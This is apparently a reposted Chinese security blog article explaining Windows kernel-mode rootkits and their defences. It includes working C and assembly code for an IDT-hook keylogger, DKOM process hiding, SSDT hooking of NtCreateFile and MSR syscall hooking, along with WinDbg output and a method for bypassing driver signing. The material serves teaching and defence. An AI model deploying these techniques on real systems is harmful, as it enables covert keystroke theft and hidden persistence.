了不起的Rootkit

admin 2022年12月2日12:04:04评论79 views字数 13634阅读45分26秒阅读模式

什么是Rootkit?

什么是Rootkit?Rootkit是一种通过破坏操作系统并隐藏在操作系统深处来逃避检测的恶意软件,通常存在于内核空间中。术语“Rootkit”来自于Unix 术语,其中“root”是系统上最高特权的用户,因此Rootkit的初始含义就在于“能维持root权限的一套工具”。

从2000年代中期到2010年代中期,Rootkit非常流行,这个时代被认为是rootkits的黄金时代。由于在Windows XP x86和Windows 7 x86中没有补丁保护或代码完整性等缓解措施,Rootkit可以对内核结构进行任何它们想要的更改。

老的(x86时代)Rootkit所使用的技术之一是挂钩系统服务描述符表(SSDT),这是那个时代很多Rootkit以及AV产品所使用的一种非常普遍的技术。

与黄金时代不同的是,现在我们很少看到新的Windows rootkit出现。这是由于上述提到的缓解措施,以及开发一个有效的Rootkit并绕过所有缓解措施所涉及的复杂性。

查看MITRE ATT&CK 矩阵,我们可以在“Defense Evasion”组下找到“Rootkit”(T1014) 战术类别,但不幸的是,它完全缺乏关键的细节层次,子技术完全为零。

了不起的Rootkit

Rootkit需要防御者更多关注的原因是它们对攻击者来说非常有价值。这是因为一旦成功部署Rootkit,攻击者可以隐藏它们的存在,同时保持对被入侵系统的访问(实现持久性)。

根据特权级别,Rootkit通常分为两种基本类型:

  • 内核态 (KM) Rootkit – 这是典型的 Rootkit。KM rootkit 在内核中以高权限用户 (NT AUTHORITYSYSTEM) 身份运行,可以修改内存中的内核结构以操纵操作系统和隐藏自身并躲避Av等。在 Windows 中,这通常作为内核驱动程序的形式运行。

  • 用户态(UM) Rootkit – UM Rootkit 是没有内核态组件的 Rootkit。他们会通过使用用户态层的技术和操纵操作系统的 API 来隐藏他们在系统中的存在,例如挂钩进程注入、 UM rootkit 不属于经典的 rootkit 定义,因为它们不一定以“root”(尽管他们可能需要管理员访问权限才能正常工作)或其他超级用户的身份运行。如今,许多现代恶意软件家族都包含某种形式的用户态 Rootkit 组件,因为它们通常试图逃避 AV 和用户自己的检测和删除。

在本文中,我们将重点介绍内核态rootkits以及它们通过操纵Windows内核来躲避AV和隐藏在操作系统中的技术。

了解这些技术对于蓝队成员来说是至关重要的,他们可以完全保护组织免受这种复杂的攻击,并在出现漏洞时从这种攻击中恢复过来。

Windows 内部原理简介

在我们开始深入研究一些rootkit技术的实现示例之前,我们将从一些必要的背景知识开始,以理解其背后的概念和原因。

与每个现代操作系统一样,Windows 体系结构分为用户空间和内核空间,每个空间都有自己的地盘范围,具体体现就是内存地址。

用户模式下的每个进程都有一个从 0x00000000 到 0x7FFEFFFF 的私有虚拟地址空间(在 x86 中,或在 x64 中为 0x0000000000000000 到 0x00007FFFFFFFEFFFF),内核位于 0x80000000 以上的地址(在 x86 中,或在 x64 中为 0xFFFF800000000000 以上)。

值得注意的是,地址也可以通过符号MmHighestUserAddress (0x7FFEFFFF)和MmSystemRangeStart (0x80000000)来引用。

了不起的Rootkit

了不起的Rootkit

上图显示了用户态和内核态的分层

通常,像kernel32.dll和ntdll.dll这样的操作系统API库在用户模式中被用作操作系统服务的访问点,每个操作系统服务都被转换成一个系统调用,然后由内核进行处理。

设备驱动程序和内核位于HAL的顶部,因为它们都使用HAL的服务,紧密地一起工作,并且生活在同一个地址空间中。设备驱动程序也是唯一允许用户通过以相同的特权级别运行来扩展内核及其功能的机制。

用户态和内核态是怎么交互的呢?让我们看一下kernel32.dll API 函数,例如ReadFile

当调用ReadFile时,驻留在kernel32.dll中的实现将解析传递给它的参数,并将调用ntdll.dll中未记录的NtReadFile 。

稍后,NtReadFile将使用适当的系统调用号设置eax并将执行SYSENTER指令(或x64 中的SYSCALL指令)。

SYSENTER指令将通过调用存储在MSR 0x176(x86 或 x64 中的LSTAR MSR )指向KiFastCallEntry( x64 中的KiSystemCall64 )中的地址来切换到内核模式。

并在最终调用适当的NtReadFile内核版本(也可以称为ZwReadFile)。它位于ntoskrnl.exe中,它将完成大部分工作,并调用适当的磁盘驱动程序来执行从磁盘的实际读取。

了不起的Rootkit

当一个内核驱动加载时,它可以访问所有的物理内存(如果我们不考虑VBS和虚拟化的话),以及任何用户空间进程的内核空间和用户空间内存的虚拟内存。

与内核处于相同的地址空间允许内核驱动程序改变内存中的任何内核结构,以隐藏自身或系统中的其他恶意软件组件。在过去,攻击者可以轻松地执行加载驱动程序和改变内核结构,而无需过多担心,但自从在Windows XP/Vista x64中引入KPP(内核补丁保护)等缓解措施后,这些已经变得相对稀少。


Patch Guard & DSE

Patch Guard 是一种保护内核结构(如后面提到的SSDTIDT)不被攻击者在内存中更改或“打补丁”的机制。它定期检查每个内核结构的变化;如果发生更改,它会导致系统蓝屏死机并显示 Bug Check CRITICAL_STRUCTURE_CORRUPTION (0x109)KERNEL_SECURITY_CHECK_FAILURE (0x139)

了不起的Rootkit

如今,在对系统结构进行任何更改之前,攻击者必须找到一种方法来禁用或绕过 Patch Guard ,否则就有可能导致系统崩溃。

另外需要注意的是,由于Patch Guard是定期工作的,如果攻击者在下一次检查之前恢复了他们的更改,它将不会触发BSOD。这对于更改内核结构(例如SMEP标志,CR4的第20位)非常有用,攻击者可以关闭该标志,执行他们的恶意代码,并立即重新打开该标志,以避免错误检查。

在过去,我们看到攻击者使用挂钩KeBugCheckEx来在错误检查发生后恢复执行,有效地抑制了BSOD。

后来,在微软修补了这个漏洞之后,攻击者挂钩了一个不同的函数RtlCaptureContext(它会被KeBugCheckEx调用),以类似的方式恢复执行,而不需要对系统进行BSOD。

最近几年,GhostHook也是经常被提及用来绕过Patch Guard 的办法,之外,直接使用VT技术操纵EPT实现无痕HOOK也是更为直接的办法,例如360核晶。

而Windows 引入的另一项特性(导致 Rootkit 衰落的一项特性)是用于驱动程序的DSE(驱动程序签名验证,又名代码完整性验证),它主要会在加载驱动程序之前检查驱动程序是否由受信任的证书颁发机构签名。

DSE使攻击者加载驱动更加困难,因为他们也必须绕过这种缓解措施——要么获得证书,用它来签名驱动;或者利用这种机制绕过它。

可以在此处找到 Patch Guard+DSE bypass 示例。

另外需要注意的是,内核开发中的任何bug(例如ACCESS_VIOLATION)都会立即触发BSOD。这跟用户态开发是完全不一样的,用户态最多程序崩溃而已,所以这是rootkit稀缺的原因之一,因为开发和部署一个rootkit需要高水平的专业知识和成熟的开发过程,而单个参与者通常不具备这些。

关于带有漏洞的驱动程序和 DSE Bypass

在过去,我们看到过攻击者和恶意软件作者使用以下技术禁用DSE。该技术涉及以下几个阶段:

  1. 至少获得获得管理员权限

  2. 加载有漏洞的合法签名驱动程序。

  3. 触发漏洞利用 NT AUTHORITYSYSTEM 权限运行某些代码。

  4. 更改全局内核标志g_CiEnabledg_CiOptions(根据 Windows 版本)以在系统范围内禁用 DSE。

  5. 加载恶意的未签名驱动程序


Rootkit是如何实现的

在本节中,将解释 Rootkit 使用的一些常用技术。所有的例子都是在没有启用代码完整性或补丁保护的Windows 10  x86上测试的。

中断描述符表 (IDT) 挂钩

在我们开始之前,先简单介绍一下IDT 是什么……

中断描述符表是一个内核结构,用于存储称为中断服务例程(简称为 ISR)的处理例程作为它的条目。

每个入口指向一个处理特定中断的函数,当特定中断根据其优先级(IRQL – 中断请求级别被触发时,该函数将在任意上下文中被调用。

IDT挂钩是一种修补IDT表并用攻击者提供的不同例程替换特定ISR的技术。

我们将展示一个使用IDT挂钩的键盘记录器实现的简单示例

我们从 WinDbg 开始,我们可以使用它来检查我们需要更改哪个IDT条目挂钩键盘输入。通过使用!idt扩展,我们可以发现 i8042prt!I8042KeyboardInterruptService  ISR的索引id为0x70。

kd> !idt 0x70

Dumping IDT: 80e6f400

8077353000000070: 81b882a0 i8042prt!I8042KeyboardInterruptService (KINTERRUPT 88ba80c0)

挂钩过程只是首先检查ISR是否尚未挂钩。如果不是,它将调用GetDescriptorAddress以获取指向当前原始ISR的地址,然后使用相同的KIDTENTRY STRUCT简单地替换它。

UINT32 oldISRAddress = NULL;

void HookIDT(UINT16 service, UINT32 hookAddress)
{
  UINT32 isrAddress;
  UINT16 hookAddressLow;
  UINT16 hookAddressHigh;
  PKIDTENTRY descriptorAddress;

  isrAddress = GetISRAddress(service);
   
  if (isrAddress != hookAddress)
  {
  oldISRAddress = isrAddress;
      descriptorAddress = GetDescriptorAddress(service);

      hookAddressLow = (UINT16)hookAddress;
      hookAddress = hookAddress >> 16;
      hookAddressHigh = (UINT16)hookAddress;

      _disable();
      descriptorAddress->Offset = hookAddressLow;
      descriptorAddress->ExtendedOffset = hookAddressHigh;
      _enable();
  }
}

挂钩IDT的第一步是获取IDT地址。这是通过使用一个特殊的x86汇编指令sidt来完成的,它读取一个名为IDTR的特殊寄存器,该寄存器保存IDT的地址。

下面的代码片段定义了两个结构,KIDTENTRY和IDT,以及使用sidt指令获取IDT地址的函数GetIDTAddress

#pragma pack(1)
typedef struct _KIDTENTRY
{
  UINT16 Offset;
  UINT16 Selector;
  UINT16 Access;
  UINT16 ExtendedOffset;
} KIDTENTRY, *PKIDTENTRY;
#pragma pack()

#pragma pack(1)
typedef struct _IDT
{
  UINT16 bytes;
  UINT32 addr;
} IDT;
#pragma pack()

IDT GetIDTAddress()
{
  IDT idtAddress;

  _disable();
  __sidt(&idtAddress);
  _enable();
   
  return idtAddress;
}

下一步是实现以下两个功能:

  • GetDescriptorAddress – 获取中断服务ID号,并通过计算IDT中ISR的偏移量并将偏移量添加到IDT的基址(我们通过调用上一段中定义的GetIDTAddress获得)来计算该中断的ISR的地址。

  • GetISRAddress – 调用 GetDescriptorAddress 以获取 ISR 的地址,并将返回值从KIDTENTRY结构转换为 UINT32 地址,方法是将扩展偏移量左移 16 位,然后添加偏移量字段。

这两个函数一起将服务索引 ID 转换为 ISR 的实际地址,我们需要在 HookIDT 中使用它来放置我们的钩子。

PKIDTENTRY GetDescriptorAddress(UINT16 service)
{
  UINT_PTR idtrAddress;
  PKIDTENTRY descriptorAddress;

  idtrAddress = GetIDTAddress().addr;
  descriptorAddress = (PKIDTENTRY)(idtrAddress + service * 0x8);

  return descriptorAddress;
}

UINT32 GetISRAddress(UINT16 service)
{
  PKIDTENTRY descriptorAddress;
  UINT32 isrAddress;

  descriptorAddress = GetDescriptorAddress(service);

  isrAddress = descriptorAddress->ExtendedOffset;
  isrAddress = isrAddress << 16; isrAddress += descriptorAddress->Offset;

  return isrAddress;
}

最后一步是创建一个调用钩子处理程序的Hook_KeyboardRoutine函数。

在通过调用Handle_KeyboardHook记录键盘输入值之后,我们将跳转到保存在oldISRAddress中的原始ISR。我们这样做是因为我们需要将执行转移到其原始流程,这样就不会有明显的变化,不然用户在键盘上输入一个字符却无法在显示器上看见岂不是很诡异吗,需要原始的程序去完成它该有的功能,我们只是中间截胡。

UCHAR lastScanCode;
char scanCodeMapping[56] = { '', '', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', '-', '=', 'b', 't', 'q', 'w', 'e', 'r', 't', 'y', 'u', 'i', 'o', 'p', '[', ']', 'n', '', 'a', 's', 'd', 'f', 'g', 'h', 'j', 'k', 'l', ';', ''', '`', '', '\', 'z', 'x', 'c', 'v', 'b', 'n', 'm', ',', '.', '/', '', '*' };

void Handle_KeyboardHook()
{
  int status = READ_PORT_UCHAR((PUCHAR)0x64);
  char* buffer = NULL;

  if (status != 0x14)
  {
      if (!g_IsInjected && status == 0x15)
      {
          g_IsInjected = true;
          g_LastScanCode = READ_PORT_UCHAR((PUCHAR)0x60);
          KdPrint(("Scan Code - 0x%xrn", g_LastScanCode));
           
          if (g_LastScanCode < 56) { KdPrint(("Ascii Code - 0x%x => %crn", scanCodeMapping[g_LastScanCode], (char)scanCodeMapping[g_LastScanCode]));
          }

          WRITE_PORT_UCHAR((PUCHAR)0x64, 0xd2);
          WRITE_PORT_UCHAR((PUCHAR)0x60, g_LastScanCode);
      }
      else
      {
          g_IsInjected = false;
      }
  }
}

__declspec(naked) void Hook_KeyboardRoutine()
{
  __asm {
      pushad
      pushfd

  cli
      call Handle_KeyboardHook
  sti
 
      popfd
      popad
      jmp oldISRAddress
  }
}

最后调用即可,传递给HookIDT的第一个参数是 0x70(ISR 条目的索引 id),第二个参数是用于挂钩实现的函数指针。

HookIDT(0x70, (UINT32)Hook_KeyboardRoutine);

直接内核对象操作

简而言之,直接内核对象操作(DKOM)是一种非常强大的技术;它直接操纵内存中的内核结构。

在这个例子中,我们将展示如何使用DKOM从进程列表中隐藏一个进程,方法是从ProcessActiveLinks列表中删除一个条目

ULONG_PTR ActiveOffsetPre = 0xb8;
ULONG_PTR ActiveOffsetNext = 0xbc;
ULONG_PTR ImageName = 0x17c;

VOID HideProcess(char* ProcessName)
{
  PEPROCESS CurrentProcess = NULL;
  char* currImageFileName = NULL;

  if (!ProcessName)
      return;

  CurrentProcess = PsGetCurrentProcess();

  PLIST_ENTRY CurrListEntry = (PLIST_ENTRY)((PUCHAR)CurrentProcess + ActiveOffsetPre);
  PLIST_ENTRY PrevListEntry = CurrListEntry->Blink;
  PLIST_ENTRY NextListEntry = NULL;

  while (CurrListEntry != PrevListEntry)
  {
      NextListEntry = CurrListEntry->Flink;
      currImageFileName = (char*)(((ULONG_PTR)CurrListEntry - ActiveOffsetPre) + ImageName);

      DbgPrint("Iterating %srn", currImageFileName);

      if (strcmp(currImageFileName, ProcessName) == 0)
      {
          DbgPrint("[*] Found Process! Needs To Be Removed %srn", currImageFileName);

          if (MmIsAddressValid(CurrListEntry))
          {
              RemoveEntryList(CurrListEntry);
          }

          break;
      }

      CurrListEntry = NextListEntry;
  }
}

上面的代码只是根据EPROCESS结构中定义的偏移量,简单地遍历当前进程的ActiveProcessLinks链表。

通过查看WinDbg中的公共符号,我们可以确定ActiveProcessLinks (LIST_ENTRY类型的链表)Flink、Blink和ImageFileName的偏移量。

一旦我们知道了偏移量,我们就可以将currImageFileName与我们正在寻找的ProcessName进行比较,如果找到,删除它的列表条目。

kd> dt nt!_EPROCESS
  +0x000 Pcb             : _KPROCESS
  +0x0b0 ProcessLock     : _EX_PUSH_LOCK
  +0x0b4 UniqueProcessId : Ptr32 Void
  +0x0b8 ActiveProcessLinks : _LIST_ENTRY
  +0x0c0 RundownProtect   : _EX_RUNDOWN_REF
  +0x0c4 VdmObjects       : Ptr32 Void
  +0x0c8 Flags2           : Uint4B
  ...
  +0x170 PageDirectoryPte : Uint8B
  +0x178 ImageFilePointer : Ptr32 _FILE_OBJECT
  +0x17c ImageFileName   : [15] UChar
  +0x18b PriorityClass   : UChar
  +0x18c SecurityPort     : Ptr32 Void
  +0x190 SeAuditProcessCreationInfo : _SE_AUDIT_PROCESS_CREATION_INFO
  ...

最后,下面的代码调用 HideProcess 方法,并将我们要隐藏的进程名称作为其第一个参数。

HideProcess("notepad.exe");

SSDT挂钩

系统服务描述符表(SSDT)是一个内核结构,它保存了Windows中每个系统调用的条目。当处理器执行SYSENTERINT 0x2e(或 x64 中的 SYSCALL)指令时,在将上下文从用户模式更改为内核模式后调用相应的系统调用处理程序。

SSDT Hooking 是 Rootkit(和安全软件)用来实现对特定系统调用的控制并篡改其参数和/或其逻辑的经典技术。

一个典型的例子是挂钩NtCreateFile 这基本上允许攻击者篡改任何获取文件句柄的尝试并阻止用户访问某些文件(例如 rootkit 的文件)。

过去,许多 AV 供应商使用SSDT的挂钩来检查新进程创建、新文件句柄创建等,因为在过去没有像  PsSetCreateProcessNotifyRoutine等那样的回调机制。

同样的,我们挂钩NtCreateFile,需要先找到它的SSDT条目的“索引”。

kd> dps nt!KiServiceTable L192
8177227c 81728722 nt!NtAccessCheck
81772280 8172f0b2 nt!NtWorkerFactoryWorkerReady
81772284 81965f5c nt!NtAcceptConnectPort
81772288 816e883a nt!NtYieldExecution
8177228c 8195dec2 nt!NtWriteVirtualMemory
81772290 81abdba5 nt!NtWriteRequestData
81772294 8193ab58 nt!NtWriteFileGather
81772298 8193927a nt!NtWriteFile
...
8177283c 81ae5b00 nt!NtCreateJobSet
81772840 81989216 nt!NtCreateJobObject
81772844 819af542 nt!NtCreateIRTimer
81772848 8193a6ba nt!NtCreateTimer2
8177284c 81955de0 nt!NtCreateIoCompletion
81772850 818c9518 nt!NtCreateFile
81772854 81b1f866 nt!NtCreateEventPair
81772858 818dee1c nt!NtCreateEvent
8177285c 8168b446 nt!NtCreateEnlistment
81772860 81ac6ed8 nt!NtCreateEnclave
...

kd> ? (0x81772850 - 0x8177227c) / 4
Evaluate expression: 373 = 00000175

KiServiceTable中找到NtCreateFile偏移量的一种方法是执行dps nt! KiServiceTable,然后用KiServiceTable的基地址减去指向nt!NtCreateFile的地址 再除以 4(在 x86 中)⇒ 0x175 是我们的索引。

首先,我们需要为将要hook的函数定义一些函数原型。

extern "C" NTSYSAPI NTSTATUS NtCreateFile(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength);

typedef NTSTATUS(*NtCreateFilePrototype)(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength);

接下来,我们为SSDT“KeServiceDescriptorTable”定义一个结构和导出的符号。

typedef struct SystemServiceTable 
{
  UINT32* ServiceTable;
  UINT32* CounterTable;
  UINT32 ServiceLimit;
  UINT32* ArgumentTable;
} SSDT_Entry;

extern "C" __declspec(dllimport) SSDT_Entry KeServiceDescriptorTable;

最后,我们编写放置挂钩的函数和替换挂钩函数的实现

NtCreateFilePrototype oldNtCreateFile = NULL;

NTSTATUS Hook_NtCreateFile(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength)
{
  NTSTATUS status;

  DbgPrint("Hook_NtCreateFile function called.rn");
DbgPrint("FileName: %wZ", ObjectAttributes->ObjectName);
  status = oldNtCreateFile(FileHandle, DesiredAccess, ObjectAttributes, IoStatusBlock, AllocationSize, FileAttributes, ShareAccess, CreateDisposition, CreateOptions, EaBuffer, EaLength);
  if (!NT_SUCCESS(status))
  {
      DbgPrint("NtCreateFile returned 0x%x.rn", status);
  }

  return status;
}

PULONG HookSSDT(UINT32 index, PULONG function, PULONG hookedFunction)
{
  PULONG result = 0;
  PLONG ssdt = (PLONG)KeServiceDescriptorTable.ServiceTable;
  PLONG target = (PLONG)&ssdt[index];
   
  if (*target == (LONG)function)
  {
      DisableWP();
      result = (PULONG)InterlockedExchange(target, (LONG)hookedFunction);
      EnableWP();
  }

  return result;
}

第一个参数是SSDT条目的索引参数—x0175,第二个和第三个参数是被挂钩的函数和钩子函数。

oldNtCreateFile = (NtCreateFilePrototype)HookSSDT(0x175, (PULONG)NtCreateFile, (PULONG)Hook_NtCreateFile);

MSR挂钩

MSR(Model Specific Register)寄存器,为不同的 CPU 特性保存特定值。在 MSR 挂钩中,我们挂钩MSR 0x176(或x64 中的LSTAR_MSR 0xc0000082),它保存着KiFastCallEntry函数的地址。

通过改变这个MSR的值,攻击者可以转移系统上所有系统调用的执行,这样他们就可以用一个钩子来处理所有系统调用。攻击者可以在钩子中实现他们的“目的”,并最终将执行传递回KiFastCallEntry,这样系统调用就会被处理(而用户不会感觉到任何差异)。

在本例中,HookMSR是放置钩子的函数。它首先读取MSR的当前值并将其保存在oldMSRAddress中。然后,如果该函数还没有被挂钩,它将在我们的驱动程序中用挂钩函数的新地址覆盖 MSR。

void HookMSR(UINT32 hookaddr)
{
  UINT_PTR msraddr = 0;

_disable();
  msraddr = ReadMSR();
oldMSRAddress = msraddr;
  if (msraddr == hookaddr)
  {
      DbgPrint("The MSR IA32_SYSENTER_EIP is already hooked.rn");
  }
  else
  {
      DbgPrint("Hooking MSR IA32_SYSENTER_EIP: %x –> %x.rn", msraddr, hookaddr);
      WriteMSR(hookaddr);
  }
_enable();
}

定义 MSR 常量值和ReadMSR/WriteMSR函数。

#ifdef _X64
#define IA32_LSTAR 0xc0000082
#else
#define IA32_SYSENTER_EIP 0x176
#endif

UINT_PTR oldMSRAddress = NULL;

#ifdef _WIN32
UINT_PTR ReadMSR()
{
  return (UINT_PTR)__readmsr(IA32_SYSENTER_EIP);
}

void WriteMSR(UINT_PTR ptr)
{
  __writemsr(IA32_SYSENTER_EIP, ptr);
}
#endif

DebugPrint 首先检查dispatchId == 0x7Syscall 0x7 是NtWriteFile)以进行一些过滤,然后将调度 ID 号打印到调试器。我们需要过滤,因为打印所有系统调用/dispatchIds 会尬住。

void DebugPrint(UINT32 dispatchId)
{
  if (dispatchId == 0x7)
      DbgPrint("[*] Syscall %x dispatchedrn", dispatchId);
}

__declspec(naked) int MsrHookRoutine()
{
  __asm {
      pushad
      pushfd

      mov ecx, 0x23
      push 0x30
      pop fs
      mov ds, cx
      mov es, cx

      push eax
      call DebugPrint

      popfd
      popad

      jmp oldMSRAddress
  }
}

最后,放置我们的钩子。

HookMSR((UINT32)MsrHookRoutine);

结论

从红队的角度来看,我认为内核驱动程序可以提供一些用户模式无法提供的东西。

  • 作为一个高效的后门,具有极其高的持久性。

  • 在不依赖 LPE 漏洞或特权用户的情况下执行高特权操作。

  • 轻松规避 AV / EDR 挂钩。

  • 能够在没有可疑用户模式挂钩的情况下隐藏您的反向shell。

从蓝队的角度来看,您可以记录更多的事件并使用在用户模式下无法做到的方法阻止可疑的操作。

  • 创建一个驱动程序来监视和记录专门为满足企业需求而设计的特定事件(如Sysmon)。

  • 创建内核模式挂钩以查找 Rootkit 和恶意软件(如pchunter)

  • 为您的安全工具(如 OSQuery、Wazuh 等)提供内核级别的保护。


原文始发于微信公众号(老鑫安全):了不起的Rootkit

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年12月2日12:04:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   了不起的Rootkithttp://cn-sec.com/archives/1439065.html

发表评论

匿名网友 填写信息